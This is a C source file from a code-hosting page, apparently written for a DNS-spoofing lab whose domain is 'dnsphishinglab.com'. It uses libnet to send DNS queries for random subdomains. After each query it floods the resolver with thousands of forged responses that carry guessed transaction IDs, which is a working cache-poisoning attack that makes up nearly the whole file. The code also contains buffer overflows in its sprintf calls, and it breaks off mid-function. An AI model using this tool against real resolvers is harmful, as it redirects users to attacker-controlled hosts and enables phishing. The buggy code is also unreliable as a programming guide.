-
Notifications
You must be signed in to change notification settings - Fork 2
/
pacgenfinal.c~
1041 lines (702 loc) · 27.3 KB
/
pacgenfinal.c~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <libnet.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
/////////////////////////
//////REQUEST INIT//////
////////////////////////
int xx=1;
int length;
char len[];
char domain[]="dnsphishinglab.com";
int c;
u_char *cp;
libnet_t *l;
libnet_ptag_t t;
char errbuf[LIBNET_ERRBUF_SIZE];
char eth_file[FILENAME_MAX] = "";
char ip_file[FILENAME_MAX] = "";
char tcp_file[FILENAME_MAX] = "";
char payload_file[FILENAME_MAX] = "";
char *payload_location;
int x;
int y = 0;
int udp_src_port = 1; /* UDP source port */
int udp_des_port = 1; /* UDP dest port */
int z;
int i;
int payload_filesize = 0;
int t_src_port; /* TCP source port */
int t_des_port; /* TCP dest port */
int t_win; /* TCP window size */
int t_urgent; /* TCP urgent data pointer */
int i_id; /* IP id */
int i_frag; /* IP frag */
u_short head_type; /* TCP or UDP */
u_long t_ack; /* TCP ack number */
u_long t_seq; /* TCP sequence number */
u_long i_des_addr; /* IP dest addr */
u_long i_src_addr; /* IP source addr */
u_char i_ttos[90]; /* IP TOS string */
u_char t_control[65]; /* TCP control string */
u_char eth_saddr[6]; /* NULL Ethernet saddr */
u_char eth_daddr[6]; /* NULL Ethernet daddr */
u_char eth_proto[60]; /* Ethernet protocal */
int eth_pktcount; /* How many packets to send */
int nap_time; /* How long to sleep */
u_char ip_proto[40];
u_char spa[4]={0x0, 0x0, 0x0, 0x0};
u_char tpa[4]={0x0, 0x0, 0x0, 0x0};
u_char *device = NULL;
u_char i_ttos_val = 0; /* final or'd value for ip tos */
u_char t_control_val = 0; /* final or'd value for tcp control */
int i_ttl; /* IP TTL */
u_short e_proto_val = 0; /* final resulting value for eth_proto */
u_short ip_proto_val = 0; /* final resulting value for ip_proto */
//////////////////////////////
/////ATTACK INIT////////////
///////////////////////////
//int c;
u_char *cp;
libnet_t *la;
libnet_ptag_t ta;
//char errbuf[LIBNET_ERRBUF_SIZE];
char eth_file_a[FILENAME_MAX] = "";
char ip_file_a[FILENAME_MAX] = "";
char tcp_file_a[FILENAME_MAX] = "";
char payload_file_a[FILENAME_MAX] = "";
char *payload_function_a;
//int x;
//int y = 0;
int udp_src_port_a = 1; /* UDP source port */
int udp_des_port_a = 1; /* UDP dest port */
//int z;
//int i;
int payload_filesize_a = 0;
int t_src_port_a; /* TCP source port */
int t_des_port_a; /* TCP dest port */
int t_win_a; /* TCP window size */
int t_urgent_a; /* TCP urgent data pointer */
int i_id_a; /* IP id */
int i_frag_a; /* IP frag */
u_short head_type_a; /* TCP or UDP */
u_long t_ack_a; /* TCP ack number */
u_long t_seq_a; /* TCP sequence number */
u_long i_des_addr_a; /* IP dest addr */
u_long i_src_addr_a; /* IP source addr */
u_char i_ttos_a[90]; /* IP TOS string */
u_char t_control_a[65]; /* TCP control string */
u_char eth_saddr_a[6]; /* NULL Ethernet saddr */
u_char eth_daddr_a[6]; /* NULL Ethernet daddr */
u_char eth_proto_a[60]; /* Ethernet protocal */
int eth_pktcount_a; /* How many packets to send */
int nap_time_a; /* How long to sleep */
u_char ip_proto_a[40];
//u_char spa[4]={0x0, 0x0, 0x0, 0x0};
//u_char tpa[4]={0x0, 0x0, 0x0, 0x0};
//u_char *device = NULL;
u_char i_ttos_val_a = 0; /* final or'd value for ip tos */
u_char t_control_val_a = 0; /* final or'd value for tcp control */
int i_ttl_a; /* IP TTL */
u_short e_proto_val_a = 0; /* final resulting value for eth_proto_a */
u_short ip_proto_val_a = 0; /* final resulting value for ip_proto_a */
/////////////////////////
//////MAIN///////////////
////////////////////////
int main(int argc, char *argv[])
{
///////////////////////////
////WRITING INTO BUFFERS//
//////////////////////////
while ((c = getopt (argc, argv, "p:t:i:e:a:b:c:d:")) != EOF)
{
switch (c)
{
case 'p':
strcpy(payload_file, optarg);
break;
case 't':
strcpy(tcp_file, optarg);
break;
case 'i':
strcpy(ip_file, optarg);
break;
case 'e':
strcpy(eth_file, optarg);
break;
case 'a':
strcpy(payload_file_a, optarg);
break;
case 'b':
strcpy(tcp_file_a, optarg);
break;
case 'c':
strcpy(ip_file_a, optarg);
break;
case 'd':
strcpy(eth_file_a, optarg);
break;
default:
break;
}
}
if (optind != 17)
{
printf("error in arguments");
exit(0);
}
///////////////////////
///////////////////////
/////REQUEST PACKET///
//////////////////////
//////////////////////
////////////////////////
////REQUEST LOADING////
///////////////////////
load_ethernet();
load_tcp_udp();
load_ip();
convert_proto();
///////////////////////
////SEND REQUEST//////
/////////////////////
printf("calling load payload");
load_payload_request();
int ccc=0;
while(ccc<10)
{
int randomNumber1=0;
int randomNumber2=0;
int randomNumber3=0;
printf("\nin while loop iteration %d\n",ccc+1);
ccc++;
char random_host_name[3];
random_host_name[0]="";
random_host_name[1]="";
random_host_name[2]="";
l = libnet_init(
LIBNET_LINK, /* injection type */
"eth14", /* network interface eth0, eth1, etc. NULL is default.*/
// "eth0", /* network interface eth0, eth1, etc. NULL is default.*/
errbuf); /* error buffer */
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
srand(time(NULL)+xx);
xx++;
randomNumber1 = (rand()%15);
srand(time(NULL)+xx);
xx++;
randomNumber2 = (rand()%15);
srand(time(NULL)+xx);
xx++;
randomNumber3 = (rand()%15);
//random_host_name[0]=randomNumber1;
//random_host_name[1]=randomNumber2;
//random_host_name[2]=randomNumber3;
sprintf(random_host_name, "%x%x%x", randomNumber1,randomNumber2,randomNumber3);
printf("starting attack with %s \n", random_host_name);
length=strlen(random_host_name);
printf("length is : %d",length);
/*
int j=0;
i=13;
for (j=0;j<length;j++)
{
*(payload_location + i + j) = random_host_name[j];
}
*/
payload_location[13]=random_host_name[0];
payload_location[14]=random_host_name[1];
payload_location[15]=random_host_name[2];
if(ip_proto_val==IPPROTO_TCP){
t = libnet_build_tcp(
t_src_port, /* source port */
t_des_port, /* destination port */
t_seq, /* sequence number */
t_ack, /* acknowledgement num */
t_control_val, /* control flags */
t_win, /* window size */
0, /* checksum */
t_urgent, /* urgent pointer */
LIBNET_TCP_H + payload_filesize, /* TCP packet size */
payload_location, /* payload */
payload_filesize, /* payload size */
l, /* libnet handle */
0); /* libnet id */
head_type = LIBNET_TCP_H;
if (t == -1)
{
fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
goto bad;
}
}
if(ip_proto_val==IPPROTO_UDP){
t = libnet_build_udp(
t_src_port, /* source port */
t_des_port, /* destination port */
LIBNET_UDP_H + payload_filesize, /* packet length */
0, /* checksum */
payload_location, /* payload */
payload_filesize, /* payload size */
l, /* libnet handle */
0); /* libnet id */
head_type = LIBNET_UDP_H;
if (t == -1)
{
fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
goto bad;
}
}
t = libnet_build_ipv4(
/* LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s, length */
LIBNET_IPV4_H + head_type + payload_filesize, /* length */
i_ttos_val, /* TOS */
i_id, /* IP ID */
i_frag, /* IP Frag */
i_ttl, /* TTL */
ip_proto_val, /* protocol */
0, /* checksum */
i_src_addr, /* source IP */
i_des_addr, /* destination IP */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
goto bad;
}
t = libnet_build_ethernet(
eth_daddr, /* ethernet destination */
eth_saddr, /* ethernet source */
e_proto_val, /* protocol type */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
goto bad;
}
/*
* Write it to the wire.
*/
if (nap_time >= 0)
printf("You have chosen to send %d packets every %d seconds. \nYou will need to press CTRL-C to halt this process.\n", eth_pktcount, nap_time);
if (nap_time == -1)
printf("You have chose to send %d packets and quit.\n",eth_pktcount);
c = libnet_write(l);
if (nap_time == -1){
y=999;
nap_time = 0;
}
sleep(nap_time); /*Pause of this many seconds then loop again*/
z=1;
printf("**** %d request packet sent **** (packetsize: %d bytes each)\n",eth_pktcount,c); /* tell them what we just did */
/* give the buf memory back */
////////////////////////
///////////////////////
/////ATTACK PACKETS///
/////////////////////
/////////////////////
load_payload_a();
load_ethernet_a();
load_tcp_udp_a();
load_ip_a();
convert_proto_a();
int sid=0;
for(sid=0;sid<5000;sid++)
{
printf("entering loop number %d",sid+1);
la = libnet_init(
LIBNET_LINK, /* injection type */
"eth14", /* network interface eth0, eth1, etc. NULL is default.*/
// "eth13", /* network interface eth0, eth1, etc. NULL is default.*/
errbuf); /* error buffer */
if (la == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
////////////////////
///ATTACK LOADING//
///////////////////
printf("\nadding\n");
payload_function_a[13]=random_host_name[0];
payload_function_a[14]=random_host_name[1];
payload_function_a[15]=random_host_name[2];
srand(time(NULL)+xx);
xx++;
char random[2];
int randomNumber1 = (rand()%256);
srand(time(NULL)+xx);
xx++;
int randomNumber2 = (rand()%256);
sprintf(random, "%x%x", randomNumber1,randomNumber2);
printf("random id is : %s \n",random);
//fread(payload_function_a,sizeof(char),2,random);
*payload_function_a = random[0];
*(payload_function_a+1) = random[1];
/////////////////////
///ATTACK SEND PACK//
////////////////////
if(ip_proto_val_a==IPPROTO_TCP){
ta = libnet_build_tcp(
t_src_port_a, /* source port */
t_des_port_a, /* destination port */
t_seq_a, /* sequence number */
t_ack_a, /* acknowledgement num */
t_control_val_a, /* control flags */
t_win_a, /* window size */
0, /* checksum */
t_urgent_a, /* urgent pointer */
LIBNET_TCP_H + payload_filesize_a, /* TCP packet size */
payload_function_a, /* payload */
payload_filesize_a, /* payload size */
la, /* libnet handle */
0); /* libnet id */
head_type_a = LIBNET_TCP_H;
if (ta == -1)
{
fprintf(stderr, "Can'ta build TCP header: %s\n", libnet_geterror(la));
goto bad;
}
}
if(ip_proto_val_a==IPPROTO_UDP){
ta = libnet_build_udp(
t_src_port_a, /* source port */
t_des_port_a, /* destination port */
LIBNET_UDP_H + payload_filesize_a, /* packet length */
0, /* checksum */
payload_function_a, /* payload */
payload_filesize_a, /* payload size */
la, /* libnet handle */
0); /* libnet id */
head_type_a = LIBNET_UDP_H;
if (ta == -1)
{
fprintf(stderr, "Can'ta build UDP header: %s\n", libnet_geterror(la));
goto bad;
}
}
ta = libnet_build_ipv4(
/* LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s, length */
LIBNET_IPV4_H + head_type_a + payload_filesize_a, /* length */
i_ttos_val_a, /* TOS */
i_id_a, /* IP ID */
i_frag_a, /* IP Frag */
i_ttl_a, /* TTL */
ip_proto_val_a, /* protocol */
0, /* checksum */
i_src_addr_a, /* source IP */
i_des_addr_a, /* destination IP */
NULL, /* payload */
0, /* payload size */
la, /* libnet handle */
0); /* libnet id */
if (ta == -1)
{
fprintf(stderr, "Can'ta build IP header: %s\n", libnet_geterror(la));
goto bad;
}
ta = libnet_build_ethernet(
eth_daddr_a, /* ethernet destination */
eth_saddr_a, /* ethernet source */
e_proto_val_a, /* protocol type */
NULL, /* payload */
0, /* payload size */
la, /* libnet handle */
0); /* libnet id */
if (ta == -1)
{
fprintf(stderr, "Can'ta build ethernet header: %s\n", libnet_geterror(la));
goto bad;
}
/*
* Write it to the wire.
*/
/*
if (nap_time_a >= 0)
printf("You have chosen to send %d packets every %d seconds. \nYou will need to press CTRL-C to halt this process.\n", eth_pktcount_a, nap_time_a);
if (nap_time_a == -1)
printf("You have chose to send %d packets and quit.\n",eth_pktcount_a);
*/
c = libnet_write(la);
printf("attack packet sent\n");
if (nap_time_a == -1){
y=999;
nap_time_a = 0;
}
sleep(nap_time_a); /*Pause of this many seconds then loop again*/
z=1;
//printf("**** %d packets sent **** (packetsize: %d bytes each)\n",eth_pktcount_a,c); /* tell them what we just did */
/* give the buf memory back */
libnet_destroy(la);
}//end of for.. Attacks packets
libnet_destroy(l);
}//end while loop
printf("\ndone\n");
return 0;
bad:
libnet_destroy(l);
return (EXIT_FAILURE);
}
////////////////////////
///REQUEST FUNCTIONS///
///////////////////////
load_payload_request()
{
FILE *infile;
struct stat statbuf;
int i = 0;
int c = 0;
int j=0;
/* get the file size so we can figure out how much memory to allocate */
stat(payload_file, &statbuf);
payload_filesize = statbuf.st_size;
payload_location = (char *)malloc(payload_filesize * sizeof(char));
if (payload_location == 0)
{
printf("Allocation of memory for payload failed.\n");
exit(0);
}
/* open the file and read it into memory */
infile = fopen(payload_file, "r"); /* open the payload file read only */
while((c = getc(infile)) != EOF)
{
*(payload_location + i) = c;
i++;
}
fclose(infile);
}
/* load_ethernet: load ethernet data file into the variables */
load_ethernet()
{
FILE *infile;
char s_read[40];
char d_read[40];
char p_read[60];
char count_line[40];
infile = fopen(eth_file, "r");
fgets(s_read, 40, infile); /*read the source mac*/
fgets(d_read, 40, infile); /*read the destination mac*/
fgets(p_read, 60, infile); /*read the desired protocal*/
fgets(count_line, 40, infile); /*read how many packets to send*/
sscanf(s_read, "saddr,%x, %x, %x, %x, %x, %x", ð_saddr[0], ð_saddr[1], ð_saddr[2], ð_saddr[3], ð_saddr[4], ð_saddr[5]);
sscanf(d_read, "daddr,%x, %x, %x, %x, %x, %x", ð_daddr[0], ð_daddr[1], ð_daddr[2], ð_daddr[3], ð_daddr[4], ð_daddr[5]);
sscanf(p_read, "proto,%s", ð_proto);
sscanf(count_line, "pktcount,%d", ð_pktcount);
fclose(infile);
}
/* load_tcp_udp: load TCP or UDP data file into the variables */
load_tcp_udp()
{
FILE *infile;
char sport_line[20] = "";
char dport_line[20] = "";
char seq_line[20] = "";
char ack_line[20] = "";
char control_line[65] = "";
char win_line[20] = "";
char urg_line[20] = "";
infile = fopen(tcp_file, "r");
fgets(sport_line, 15, infile); /*read the source port*/
fgets(dport_line, 15, infile); /*read the dest port*/
fgets(win_line, 12, infile); /*read the win num*/
fgets(urg_line, 12, infile); /*read the urg id*/
fgets(seq_line, 13, infile); /*read the seq num*/
fgets(ack_line, 13, infile); /*read the ack id*/
fgets(control_line, 63, infile); /*read the control flags*/
/* parse the strings and throw the values into the variable */
sscanf(sport_line, "sport,%d", &t_src_port);
sscanf(sport_line, "sport,%d", &udp_src_port);
sscanf(dport_line, "dport,%d", &t_des_port);
sscanf(dport_line, "dport,%d", &udp_des_port);
sscanf(win_line, "win,%d", &t_win);
sscanf(urg_line, "urg,%d", &t_urgent);
sscanf(seq_line, "seq,%ld", &t_seq);
sscanf(ack_line, "ack,%ld", &t_ack);
sscanf(control_line, "control,%[^!]", &t_control);
fclose(infile); /*close the file*/
}
/* load_ip: load IP data file into memory */
load_ip()
{
FILE *infile;
char proto_line[40] = "";
char id_line[40] = "";
char frag_line[40] = "";
char ttl_line[40] = "";
char saddr_line[40] = "";
char daddr_line[40] = "";
char tos_line[90] = "";
char z_zsaddr[40] = "";
char z_zdaddr[40] = "";
char inter_line[15]="";
infile = fopen(ip_file, "r");
fgets(id_line, 11, infile); /* this stuff should be obvious if you read the above subroutine */
fgets(frag_line, 13, infile); /* see RFC 791 for details */
fgets(ttl_line, 10, infile);
fgets(saddr_line, 24, infile);
fgets(daddr_line, 24, infile);
fgets(proto_line, 40, infile);
fgets(inter_line, 15, infile);
fgets(tos_line, 78, infile);
sscanf(id_line, "id,%d", &i_id);
sscanf(frag_line, "frag,%d", &i_frag);
sscanf(ttl_line, "ttl,%d", &i_ttl);
sscanf(saddr_line, "saddr,%s", &z_zsaddr);
sscanf(daddr_line, "daddr,%s", &z_zdaddr);
sscanf(proto_line, "proto,%s", &ip_proto);
sscanf(inter_line, "interval,%d", &nap_time);
sscanf(tos_line, "tos,%[^!]", &i_ttos);
i_src_addr = libnet_name2addr4(l, z_zsaddr, LIBNET_RESOLVE);
i_des_addr = libnet_name2addr4(l, z_zdaddr, LIBNET_RESOLVE);
fclose(infile);
}
convert_proto()
{
/* Need to add more Ethernet and IP protocals to choose from */
if(strstr(eth_proto, "arp") != NULL)
e_proto_val = e_proto_val | ETHERTYPE_ARP;
if(strstr(eth_proto, "ip") != NULL)
e_proto_val = e_proto_val | ETHERTYPE_IP;
if(strstr(ip_proto, "tcp") != NULL)
ip_proto_val = ip_proto_val | IPPROTO_TCP;
if(strstr(ip_proto, "udp") != NULL)
ip_proto_val = ip_proto_val | IPPROTO_UDP;
}
////////////////////////////
/////ATTACK FUNCTIONS//////
///////////////////////////
load_payload_a()
{
FILE *infile;
struct stat statbuf;
int i = 0;
int c = 0;
int j=0;
/* get the file size so we can figure out how much memory to allocate */
stat(payload_file_a, &statbuf);
payload_filesize_a = statbuf.st_size;
payload_function_a = (char *)malloc(payload_filesize_a * sizeof(char));
if (payload_function_a == 0)
{
printf("Allocation of memory for payload failed.\n");
exit(0);
}
/* open the file and read it into memory */
infile = fopen(payload_file_a, "r"); /* open the payload file read only */
while((c = getc(infile)) != EOF)
{
*(payload_function_a + i) = c;
i++;
}
fclose(infile);
}
/* load_ethernet: load ethernet data file into the variables */
load_ethernet_a()
{
FILE *infile;
char s_read[40];
char d_read[40];
char p_read[60];
char count_line[40];
infile = fopen(eth_file_a, "r");
fgets(s_read, 40, infile); /*read the source mac*/
fgets(d_read, 40, infile); /*read the destination mac*/
fgets(p_read, 60, infile); /*read the desired protocal*/
fgets(count_line, 40, infile); /*read how many packets to send*/
sscanf(s_read, "saddr,%x, %x, %x, %x, %x, %x", ð_saddr_a[0], ð_saddr_a[1], ð_saddr_a[2], ð_saddr_a[3], ð_saddr_a[4], ð_saddr_a[5]);
sscanf(d_read, "daddr,%x, %x, %x, %x, %x, %x", ð_daddr_a[0], ð_daddr_a[1], ð_daddr_a[2], ð_daddr_a[3], ð_daddr_a[4], ð_daddr_a[5]);
sscanf(p_read, "proto,%s", ð_proto_a);
sscanf(count_line, "pktcount,%d", ð_pktcount_a);
fclose(infile);
}
/* load_tcp_udp: load TCP or UDP data file into the variables */
load_tcp_udp_a()
{
FILE *infile;
char sport_line[20] = "";
char dport_line[20] = "";
char seq_line[20] = "";
char ack_line[20] = "";
char control_line[65] = "";
char win_line[20] = "";
char urg_line[20] = "";
infile = fopen(tcp_file_a, "r");
fgets(sport_line, 15, infile); /*read the source port*/
fgets(dport_line, 15, infile); /*read the dest port*/
fgets(win_line, 12, infile); /*read the win num*/
fgets(urg_line, 12, infile); /*read the urg id*/
fgets(seq_line, 13, infile); /*read the seq num*/
fgets(ack_line, 13, infile); /*read the ack id*/
fgets(control_line, 63, infile); /*read the control flags*/
/* parse the strings and throw the values into the variable */
sscanf(sport_line, "sport,%d", &t_src_port_a);
sscanf(sport_line, "sport,%d", &udp_src_port_a);
sscanf(dport_line, "dport,%d", &t_des_port_a);
sscanf(dport_line, "dport,%d", &udp_des_port_a);
sscanf(win_line, "win,%d", &t_win_a);
sscanf(urg_line, "urg,%d", &t_urgent_a);
sscanf(seq_line, "seq,%ld", &t_seq_a);
sscanf(ack_line, "ack,%ld", &t_ack_a);
sscanf(control_line, "control,%[^!]", &t_control_a);
fclose(infile); /*close the file*/
}
/* load_ip: load IP data file into memory */
load_ip_a()
{
FILE *infile;
char proto_line[40] = "";
char id_line[40] = "";
char frag_line[40] = "";
char ttl_line[40] = "";
char saddr_line[40] = "";
char daddr_line[40] = "";
char tos_line[90] = "";
char z_zsaddr[40] = "";
char z_zdaddr[40] = "";
char inter_line[15]="";
infile = fopen(ip_file_a, "r");
fgets(id_line, 11, infile); /* this stuff should be obvious if you read the above subroutine */
fgets(frag_line, 13, infile); /* see RFC 791 for details */